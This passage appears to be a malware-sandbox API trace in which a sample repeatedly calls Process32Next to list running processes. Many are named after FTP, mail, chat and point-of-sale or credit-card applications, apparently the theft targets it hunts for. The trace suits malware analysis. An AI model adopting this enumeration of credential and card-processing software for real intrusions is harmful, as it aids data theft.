Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.202] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.204] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.241] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.243] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.245] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0267.247] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0267.249] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0267.250] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.252] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0267.254] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0267.256] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0267.258] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0267.259] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.261] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0267.262] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0267.264] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0267.266] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0267.267] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0267.270] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0267.272] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0267.319] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0267.321] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0267.323] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0267.325] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0267.327] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0267.329] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0267.331] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0267.332] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0267.334] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0267.335] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0267.337] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0267.338] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0267.340] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0267.342] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0267.344] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0267.346] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0267.348] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0267.349] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0267.412] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0267.413] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0267.415] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0267.417] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0267.418] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0267.420] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0267.422] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0267.425] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0267.427] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0267.429] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0267.431] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0267.434] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0267.436] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0267.438] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0267.440] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0267.442] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0267.491] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0267.493] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0267.495] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0267.497] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0267.499] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0267.501] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0267.503] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0267.505] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0267.508] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0267.510] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0267.511] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0267.513] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0267.515] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0267.517] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0267.519] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0267.521] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0267.523] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0267.525] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0267.569] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0267.571] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0267.573] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0267.574] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0267.576] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0267.578] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0267.580] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0267.582] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0267.584] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0267.586] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0267.588] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0267.591] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, 